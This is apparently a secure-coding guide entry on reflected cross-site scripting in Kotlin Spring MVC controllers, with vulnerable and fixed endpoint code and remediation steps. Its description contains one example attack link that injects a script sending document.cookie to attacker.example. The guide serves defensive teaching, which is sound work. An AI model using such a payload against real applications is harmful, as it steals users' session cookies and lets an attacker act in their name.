logo

Database

Reflected cross-site scripting (XSS)

Need

Encoding of user input before it is returned in an HTML response

Context

• Usage of Kotlin 1.9+ on the JVM for building web applications

• Usage of Spring Web MVC for REST controllers

Description

1. Non compliant code

import org.springframework.web.bind.annotation.GetMapping
import org.springframework.web.bind.annotation.RequestParam
import org.springframework.web.bind.annotation.RestController

@RestController
class GreetingController {
    @GetMapping("/hello")
    fun hello(@RequestParam("name") name: String): String =...

The `hello` endpoint below returns the `name` request parameter inside a greeting string from a `@RestController`. Spring writes a `String` return value with the `StringHttpMessageConverter`, which picks the content type from the `Accept` header of the request. A browser asks for `text/html`, so the response is rendered as HTML, and a link such as `/hello?name=<script>fetch('https://attacker.example/?c='+document.cookie)</script>` makes the server reflect a script that runs in the origin of the application. An attacker only needs a user to open the crafted link to act with their session: read data visible to them, perform actions on their behalf or steal tokens that are not protected with `HttpOnly`.

2. Steps

• Encode every request-derived value with `HtmlUtils.htmlEscape` before inserting it into HTML returned by a controller.

• Declare the response type with `produces` so it does not depend on the `Accept` header.

• Prefer a template engine with automatic escaping, such as Thymeleaf, over HTML built with string templates.

• Return data objects serialized as JSON from API endpoints instead of HTML strings.

• Send a restrictive `Content-Security-Policy` header as a second layer of defense.

3. Secure code example

import org.springframework.http.MediaType
import org.springframework.web.bind.annotation.GetMapping
import org.springframework.web.bind.annotation.RequestParam
import org.springframework.web.bind.annotation.RestController
import org.springframework.web.util.HtmlUtils

@RestController
class GreetingController {...

The corrected endpoint encodes the parameter with `HtmlUtils.htmlEscape` from Spring before placing it in the response, so `<`, `>`, `&` and quotes become HTML entities and the browser displays them as text. The mapping also declares `produces = [MediaType.TEXT_HTML_VALUE]`, so the content type no longer depends on the `Accept` header of each request, and the encoding applies to the only type the endpoint returns. For pages with more than a few values, a template engine with automatic escaping, such as Thymeleaf, is safer than building HTML with string templates. Endpoints that serve data should return objects that Spring serializes as JSON instead of HTML strings.